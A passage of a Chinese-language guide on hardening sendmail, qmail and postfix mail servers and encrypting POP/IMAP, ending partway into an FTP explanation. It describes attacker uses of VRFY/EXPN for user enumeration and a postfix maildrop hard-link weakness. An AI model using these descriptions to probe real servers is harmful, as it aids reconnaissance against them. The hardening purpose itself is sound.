录/var/spool/mqueue,别名列表,以及:include:文件等。由于没有默认的用户和组,所以要创
建它。以sendmail用户和mail组运行sendmail为例,就必须在.cf文件中包括如下代码:
O RunAsUser=sendmail:mail
邮件服务器旗标
建立连接后,smtp立即向用户发送旗标。这个旗标通常包括邮件服务器名,smtp软件名和
版本号,当前时间等,这些信息对黑客非常重要,所以要关闭这一欢迎信息。在sendmail.cf
文件中找到SmtpGreetingMessage,将如下配置:
O SmtpGreetingMessage=$j Sendmail $v/$z; $b
修改为 O SmtpGreetingMessage=$j BWare -SMTP $b
再使用如下命令重载其配置文件:killall -hup sendmail
qmail修改qmail-smtpd的smtpgreeting值;postfix修改smtpd_banner值。
SMTP VRFY命令
VRFY最初用于帮助机器确定用户名或邮件地址是否合法,但是,现在该命令很少再用于这
个目的。相反,它通常被黑客对用户实施蛮力攻击。
用法:VRFY XXXX
日志可以记录VRFY命令操作情况。
关闭该命令需对sendmail.cf文件中对PrivacyOption做如下更改:
O PrivacyOption=authwarnings,novrfy 或将下面一行添加到sendmail.mc配置文件中,然后重
新编译sendmail.cf。define('confPRIVACY_FLAGS',"authwarnings,novrfy")dnl,修改完成后重
载配置文件。
SMTP EXPN命令
EXPN命令扩展所提供的用户名和邮件地址。与VRFY命令类似,它也可以用来猜测用户名
和邮件地址。
要关闭EXPN请求,只需在sendmail.cf中将PrivacyOption标志修改为:
O PrivacyOption=authwarnings,noexpn,或将下面一行添加到sendmail.mc配置文件中,然后重
新编译sendmail.cf。define('confPRIVACY_FLAGS',"authwarnings,noexpn")dnl,修改完成后重
载配置文件。如果同进关闭VRFY AND EXPN可以这样写authwarnings,noexpn,novrfy。如
果使用的是新近的版本,也可以使用goaway选项,它自动包括了noexpn,novrfy和其它
PrivacyOption选项。
qmail and postfix 都不支持expn命令,所以不存在这个问题
不适当的文件许可
在接收和分发邮件时,邮件服务器可能会用到多个文件,例如虚拟主机名,邮件别名和邮件
路由映射文件等,如果某个用户能够修改这些文件,它就能够对邮件服务器的运作产生影响。
所以必须对这些文件设置合适的文件许可,使用文件完整性工具密切监视被邮件服务器使用
的所有文件。同时,为确保万无一失,也可以用chattr +i命令将这些文件设置为不可修改。
sendmail8.9或以上的版本在使用.forwards,:include:,地址映射以及其他相关文件前先对其执
行许可正确性检查,如果它认为所给的许可权超过了所需的,就会取消动作并发回邮件。如
果确实要依赖于所给的过渡性许可,则必须在sendmail.mc中添加如下一行配置信息显示地
告诉sendmail使用相应的不安全许可设置。
OPTION('confDONT_BLAME_SENDMAIL','groupwritablealiasfile')dnl
警告:如果想打破sendmail的严格许可规定,就必须确信所做事情的含义。因为一旦允许
用户修改与sendmail相关的文件,他们就有可能得到root权限。
为进一步防止运行外部命令,可以将sendmail配置成使用smrsh(sendmail受限shell)运行
所有shell命令,将下面一行加到sendmail.mc:
FEATURE('smrsh','path-to-smrsh'),smrsh程序只执行在特定目录下(默认为/usr/adm/sm.bin)
的程序。但要确保该目录下程序的安全。
qmail and postfix都遵循一个原则:只有不受限制的root用户才可以对邮件服务器的相关文
件具有写权限。惟一例外的是.forward文件。一旦启用,其所有者必须是接收的用户。邮件
服务器相关文件在/etc/postfix and /var/qmail下。要确保这些文件只有root可写。
为保护机器和网络不被垃圾邮件兜售商滥用,必须确保它们不中继来自非授权域的邮件。
sendmail8.9及之后的版本默认情况下拒绝邮件中继,如果必须中继来自某些主机的邮件,
必须将它们的地址加下/etc/mail/access文件中。
警告:sendmail将整个域名中主机名之后的部份看做域名,如果管理员在.mc文件中使用
FEATURE{relay_entire_domain},并且当前域中的任一本地ip地址都反解析为某二级域名
(如example.com),那么其意图是允许中继所有该域中机器的邮件,不幸的是,sendmail
会将域认为是.com,从而实际上是以开放中继方式运行。
qmail0.91及以上版本默认情况下拒绝邮件中继,要设置服务器中继特定主机的邮件,可以
有以下两种方式:
1、以支持host_options方式安装tcp封装器。如下所示方式运行qmail的smtpd守护进程。
tcpd /var/qmail/bin/tcp-env /var/qmail/bin/qmail-smtpd
并在/etc/hosts.allow中为所有需要中继的主机添加与下面类似的行。
tcp-env:xxx.xxx.xxx.xxx :setenv=RELAYCLIENT
2、如果使用tcpserver0.80或更高版本,在/etc/tcp.smtp中添加如下行:
xxx.xxx.xxx.xxx:allow,RELAYCLIENT=""
然后运行:tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp & /etc/tcp.smtp,并且在tcpserver调用
qmail-smtpd的命令行后面添加:
-x /etc/tcp.smtp.cdb
postfix在默认情况下总是拒绝邮件中继,服务器处理邮件所进出的网络必须在它第一次运行
前在main.cf中配置,涉及的相关变量有myhostname,mydomain,myorigin,mydestination and
mynetworks。对于许多系统来说,要建立一个可运行的postfix配置,只需要处理这些变量。
不幸的是,因为smtp服务器不知道实际邮件分发的所有细节,时期版本(早于1999年12
月27日)并不对中继请求响应smtp错误码,这样,中继检查程序如ORBS AND RBL会以
为该服务器运行于开发中继方式。将postfix升级到新版可避免这一问题。
当前使用最广泛的阻止垃圾邮件的方法是Paul Vixie首创的MAPS(Mail Abuse Prevention
System--按照习惯,这也被看作"spam"的逆序拼写)Realtime Blackhole List 或 RBL.它是通过
DNS实现的服务,列出了知名的垃圾邮件发送站点和被他们中继的服务器。邮件服务器使
用这一基于DNS的垃圾邮件阻塞方法时,对所有与之联系的机器的IP地址执行DNS查询。
如果该IP已被登记,则拒绝来自相应机器的邮件。RBL是另一个开发的数据库,但它只记
录开发中继的邮件服务器。
在sendmail.mc文件中添加如下内容就可防止垃圾邮件的骚扰,不过,对于每一个sendmail
版本,其语法有所不同。
FEATURE(rbl,`rbl.maps.vix.com')
FEATURE(dnsbl,1rbl.maps.vix.com',`error message')
HACK(`check_dnsbl',`rbl.maps.vix.com',`',`general',`reason')
qmail可以结合使用Rblsmtpd和smtpd来阻塞RBL类数据库列出的站点。Rblsmtpd由
tcpserver启动,
postfix要启用基于DNS的垃圾邮件阻塞功能,首先要将maps_rbl_domains变量设置为所要
查询的数据库:
maps_rbl_domains=rbl.vix.com,dul.maps.vix.com
然后在smtpd_client_restrictions变量后直接添加"reject_maps_rbl"
smtpd_client_restrictions = permit_mynetworks,reject_maps_rbl
邮件炸弹和拒绝服务攻击
过量的连接会使合法用户邮件无法到达,而邮件炸弹会迅速耗尽磁盘空间。因为邮件通常保
存在/var目录下,所以一旦填满,就会对系统造成灾难性影响。日志信息无处可放,而系统
也会最终陷于停顿。
在sendmail中可使用多个选项来限制守护进程使用的资源数量:
MaxDaemonChildren
限制并发运行sendmail进程数,保障cpu不被过度使用。
ConnectionRateThrottle
限制smtp的每秒并发入连连接数量。
MaxRcptsPerMessage
限制单个邮件的接收者数量,也可用于阻止编写拙劣的垃圾邮件。
MaxMessageSize
拒绝尺寸过大的邮件。如果经常通过邮件交换大型文件,则这个限制
会带来问题,但是不论怎么说,使用http,ftp
或scp/sftp来实现文件服务器要更好
注意:这些值设置过低会导致延误或拒绝正常邮件,因此,在设置前最好检查邮件日志以确
定日常的邮件使用情况。
默认情况下qmail允许同时处理20封外发邮件。如要修改,可在文件
/var/qmail/control/concurrencyremote中设置所需的数值。然后重启。编译该值时设置的上限
为120,但编译前可在conf-spawn中修改。qmail并不实施额外的限制,Bernstein认为进一
步的限制是操作系统的职责。管理员应该在/etc/limits.conf中设置约束,并对/var执行磁盘
配额。要限制队列中邮件的数据,只需在/var中设置qmail用户所能使用的inode上限就可
针对MTA的同件炸弹和DoS攻击,postfix有内建的最具扩展性和可调节的防御措施。最快
捷的解决方法是在main.cf中设置default_process_limit变量,这个变量限制并发的进程数,
其默认值是50,大致适用于通常的系统。其它设置包括:
local_destination_concurrency_limit
同时向同一本地接收者发送的邮件上限
default_destination_concurrency_limit
同时向同一接收者发送的邮件上限
message_size_limit
任何大于该尺寸的邮件都将被拒收
bounce_size_limit
在回返时允许发回给发关者的原始内空尺寸,通常认为发回整个
邮伯没有必要。
queue_minfree
在邮件队列所在的文件系统中应当保留多大的未用空间。设置该
变量有助于在填满文件系统前阻
止postfix接收新的邮件。
还有很多与资源和使用率限制有关的选项,可以查阅postfix相关技术文档。
postfix自由可写的maildrop目录
postfix首次发布时,自夸在套件中没有一个程序是setuserid and setgroupid的,所有要发送
的邮件都由某个postfix程序写入到maildrop目录中,然后由单独的postfix守护程序进程取
出并发送。maildrop目录应该设置sticky位,让所有用户都可写。如果该目录中的某个文件
有多个硬链接,则postfix将丢弃这个文件。任何人都可以对队列中的文件添加额外的链接,
这样,这些文件(邮件)就会被删除。而不会发送出去,且此时也不会向用户发送警告。另
一个存在的可能性是用户可以将别人的文件以邮件形式发送出去。但这要满足非常严格的条
件。受影响的文件必须设置为700,必须与maildrop目录在同一文件系统,必须以postfix
可以接受的格式保存。攻击者必须能够对其建立链接,而且在链接创建之后,必须由受影响
者将该文件删除。这些要求不是不可能满足,但确实不是很常见。这些缺陷最初是由qmail
的作Bemstein指出。最初Venema不愿意改正这个问题,因为看起来这只有一种解决方法:
一个setuserid程序。然而,最终他不得不承认这是惟一的方法,并创建了一个名为postdropr
的setgroupid程序,并将maildrop目录的许可设为1730,并将其组ID设置成与postdrop的
组一致,从而只有该程序才能写入maildrop目录。如果postfix sendmail外壳程序发现不能
写入maildrop目录,就会自动调用postdrop。在安装配置postfix时,它会要求用户输入setgid
的组名,如果指定了名字,它就会安装setgroupid的postdrop程序,并且使用受限的目录许
可。否则,仍将使用自由的可写目录。如果系统只被自已及可信任的人使用,则设置自由可
写的maildrop目录可能更好一些。
纯文本smtp
邮件在网上是以纯文本的方式传输,所以只要能够监听发送和接收机之间的连接,就能够读
取所有过往的邮件。如果邮件中存在敏感信息,不应当未加密就发送。任何现代的MUA都
包含加密部分。PGP是最被广泛支持的加密算法。在RFC2487中定义了SMTP的新扩展
---STARTTLS。STARTTLS在SMTP链接中提供SSL/TLS加密设置,现在它仍然没有在服
务器或客户端得到广泛应用。但随着时间的推移,估计会得到越来越多的支持,使用它可确
保SMTP-AUTH数据通过加密连接传输。因而不会被嗅探。sendmail在版本8.11之后内建
支持。qmail在它网站上有补丁。postfix也有补丁。通过查看EHLO的响应可确定系统使用
的邮件服务器是否支持STARTTLS
pop and imap中的纯文本口令
pop and imap本身并不支持加密,所以要使用SSL OR SSH连接。首先设置加密程序监听某
个本地端口,并将流入该端口的数据以加密方式发送到目标机器。然后,执行邮件操作时,
客户端不需连接到实际的邮件服务器,而只要连向本地主机的相应端口。下面给出两个不同
使用Stunnel加密IMAP
假设用户使用Mutt连接mail.example.com。Mutt支持SSL,而IMAP服务器不支持该加密
方式。这时则需要在服务器上运行Stunnel以监听imaps端口的链接。
mailserver# /usr/sbin/stunnel -D mail.debug -p /path/to/stunnel.pem -N simapd -d simapd -l
/usr/sbin/imapd
在客户设置环境变量,$mail指向邮件服务器
client#export MAIL='{mailserver.example.com/ssl}'
client#mutt
当连接到达IMAPS端口时,Stunnel将启动imapd服务器。Stunnel可能使用TCP封装器,
因此要在/etc/hosts.allow中添加下应内容。
使用ssh加密POP
假设用户使用Fetchmail通过pop下载邮件,如果能用SSH登录服务器,就可以利用SSH
的端口转发功能将POP连接建立在加密通道上。只需在启动fetchmail之前直接运行如下命
client#ssh -n -x -f mailserver.example.com -L888:mailserver.example.com:110\"sleep 60"
所有连向本地端口888的链接都将通过加密通道发送到邮件服务器的pop端口,然后,运行
fetchmail时,在命令行参数上添加--port 888,并指向本地主机而非mailserver.example.com。
大部份现代的协议使用单个网络连接来传输所有数据,例如HTTP1.1客户端与服务器的80
端口建立连接,并请指定的页面。服务器告诉客户端所要发送的字节数,在接收完数据后,
客户端还可以在同一通道内发送请求。然后,FTP协议使用两个单独的连接分别传输命令和
命令通道。是FTP客户端连向服务器21端口的网络套接字连接。比如LIST AND RETR的
命令通过这个通道传输。它在整个会话期间保持连接。
数据通道。客户端和服务器需要交换数据时,就建立数据通道。这一连接由PORT OR PASV
命令动态创建。
FTP这种本性使防火墙管理员大伤脑筋。需要以应用代理逻辑来处理频繁的动态创建连接。
如TIS防火墙中的ftp-gw,或ipchains masquerade的ip_masq_ftp。
创建数据连接的两种方式:主动和被动模式
主动模式,对于大多数UNIX FTP客户端而言,这是默认的模式,但最近某些LINUX发行
版开始转向默认设置被动模式。用户输入ls命令时,FTP客户端绑定一个端口,以供服务
器连向这个端口并发回所请求的数据。然后客户端使用PORT命令把该端口号和IP地址发
送给服务器,格式是PORT W,X,Y,Z,H,L w,x,y,z是客户端的地址,H,L分别是端口号的高和
低字节。这样,客户端绑定本地端口H*256+L,然后客户端发送实

我要回帖

更多关于 黑客命令与典型应用 的文章

 

随机推荐